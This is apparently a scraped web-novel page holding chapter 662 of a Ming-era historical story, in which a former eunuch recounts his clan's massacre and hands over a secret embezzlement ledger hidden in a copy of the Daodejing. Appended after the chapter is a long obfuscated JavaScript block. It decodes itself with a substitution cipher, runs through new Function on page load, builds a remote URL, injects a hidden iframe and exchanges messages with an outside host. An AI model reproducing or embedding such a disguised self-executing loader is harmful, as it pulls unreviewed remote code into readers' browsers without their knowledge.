返回

大明:我只想做一个小县令啊

首页
关灯
护眼
字体:
第662章 无根人心死交密账
对陈六安的话,童福山嗤之以鼻:“你权力再大,还能大的过我家先生?”

“我对你这些狗屁倒灶的事不感兴趣,你赶紧说密账的事。”

然而,陈六安却像丝毫没有听到他说了些什么,仍沉浸在自己的回忆里:

“我本想寻机与我陈家的人接上话,找机会带他们出海,谁知那钱勇竟然...竟然...”

陈六安的面孔陡然变得极其狰狞,狰狞中带着无尽的痛苦:

“那钱勇见审不出我的去向,竟然将陈家上下老幼一百八十余口,尽数杀了!”

“便是一个婴孩,一个婴孩都不放过......”

说到这里,陈六安仿佛被抽离了所有力气,瘫倒在地:“我自知钱勇必在镇江重重设伏,逃,是逃不出去了,

后来,吴奇寻到了净空大师,想要在金山寺暂时躲避。”

“只可惜,那净空收了我一笔银子,却也不敢收留我,而是将我介绍到了这太平禅寺。”

陈六安苦笑:“没想到却让我能一直躲避至今。”

童福山有些疑惑:“既然你行迹未露,又何必...”

陈六安抬头瞥他一眼:“你是想问我为何多此一举,白白让吴奇送了命,还要冒着暴露的风险?”

童福山默认不语。

“你知道吗?”

陈六安颓然苦笑:“我在太平禅寺出家后,本想着在这了此残生,日夜念经送佛,为死去的族人念经超度。”

“可是,每晚当我闭上眼后,族人的身影就在我眼前不停的徘徊!”

“他们一直问我,小安子啊,你啥时候给咱们报仇啊?”

“咱们死的冤啊!”

陈六安的眼睛越发赤红:“我早已是无根之人,便是苟活下去又能如何?这陈家,终究是没了。”

“所以,你找我是为了报仇?”

“是!”

陈六安烦躁的扯开衣襟:“整个江南,整个江南早已烂成了一片!”

“凭我一个朝廷钦犯,想要报仇又谈何容易?”

他忽然死死盯住童福山:“可是天不亡我!”

“你知道吗,当我知道苏谨的学生来了江南的时候,我有多高兴?”

“哦,你就这么信得过我先生?”

“不错,信得过他,是因为我恨他!”

“没有他,先帝就不会死,而我也会是那个权倾朝野的陈公公!”

“可也正是因为我恨他,才知道苏谨是什么样的人,他又有多么可怕!”

童福山嗤笑:“那我倒是应该替先生谢谢你了?”

陈留案仿佛没听到他的讥讽,仍在自语:“这世上,若说谁能真正帮我报仇,恐怕也唯有你的先生苏谨。”

“所以,我才会甘心暴露去找你。”

“有一件事,你恐怕想错了。”

童福山眼神冰冷:“先生欲铲除江南陋弊,可不是为了帮你报仇,而是为了这天下的百姓!”

“哼,我管他是为了什么?”

陈六安不屑撇嘴:“他是为了自己也好,为了百姓也罢,我只要看到这些仇人统统不得好死,家家死绝!我便心满意足!”

“既然如此,你就把账本交给我,我虽不能保证你不受律法处置,但至少我现在能保你的命。”

对于童福山的许诺,陈六安似乎并不感兴趣。

正当他要说话的时候,张林忽然急匆匆的进来了:“公子,山外面出现大量官兵,似乎是奔着咱们来的。”

陈六安冷笑:“这钱勇的动作可是够慢的。”

童福山一愣:“是你自己把消息出卖给了他?你图什么?”

陈六安不答,默默起身进了大殿。

跪在蒲团上磕了几个头,嘴里喃喃自语着什么。

然后,走到佛像身后,从秘阁中取出一本书。

再次走出大殿,他将手中的书扔给童福山。

童福山接过书一看,居然是一本《道德经》。

“这是何物?”

陈六安冷笑:“这便是你心心念念的江南密账,没想到吧?”

童福山打开书一看,只见扉页上写着一行字:一本道德经,万般天下事。

落款:马致远。

再翻看其中内容,却见东一笔西一笔写着‘四十一’、‘三十二’等古怪数字,却不懂是什么意思。

看着童福山一脸茫然的模样,陈六安冷笑:“没想到吧,这本《道德经》便是事关江南的密账。”

“而这密账的法子,便是出自马祥之手!”

“你是说,浙江布政使马祥?”

“不是他又是谁?”

“你以为看似勤俭,一身官服补了又补的马祥是什么好人?”

“哈哈哈,实话告诉你吧,每年的对账销账,便是此人经手主持的!”

“还有什么,你一次说完吧。”

陈六安走到门边,默默向山下打量了几眼:“时不我待,我只说一次,你记得住便罢。”

回头看向童福山:“我给你的这本密账,是建文三年的出账,上面记录的是两江数省贪墨来的银两,最终去向以及结余。”

“你的意思是,这账册不止一本?”

“一本?”

陈六安冷笑:“直隶、浙江、山东、河南、开封、福建、江西,这么多的行省,州府,一本账记得下吗?”

他挥挥手示意童福山不要说话:“每年各省贪墨所得银两,除一部分用于买卖官位、为犯事官员赎罪外,剩余的要全部交回京中。”

“而这每年一次的对账,就是要清理掉所有的账目,然后销毁。”

“这本建文三年的旧账之所以能留下来,是因为燕王连连大捷,我们根本没有时间销账。”

童福山点点头:“那其他的账册呢,在谁手里?”

陈六安却摇头:“我不清楚。”

“每年我只负责收账,我只知道马祥手中至少有一本总账,其他就不清楚了。”

“那你们每年取回京中的银子,都给了谁?”

“黄子澄。”

陈六安冷笑:“他负责接账收银,不过他的背后另有其人。”

童福山不再问了,答案已经呼之欲出了。

方孝儒。

没想到看似两袖清风,于朝局并不关心的他,背后却在下着这么大一盘棋。

“那是不是说,只要擒下这方孝儒,这笔巨款就能追回来了?”

“你想的倒是天真!”

陈六安哈哈大笑:“你以为银子最后落在方孝儒手里能剩多少?大头早被那些人拿去了!”

“不搞清楚所有账目的来龙去脉,那这几年的银子就是无头烂账!”

“那我有件事就不明白了。”

童福山看着陈六安:“既然如此,为何他们不直接销毁账本,不就彻底湮灭这些证据了?”

陈六安叹了口气:“你小看了方孝儒啊。”

“若不是他手中拿着这些官员的把柄,你以为他们不会销毁?”

“燕王破京之后,方孝儒虽然自知必死,但他总要为自己的后人留点什么吧?”

上一章 目录 下一章

(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();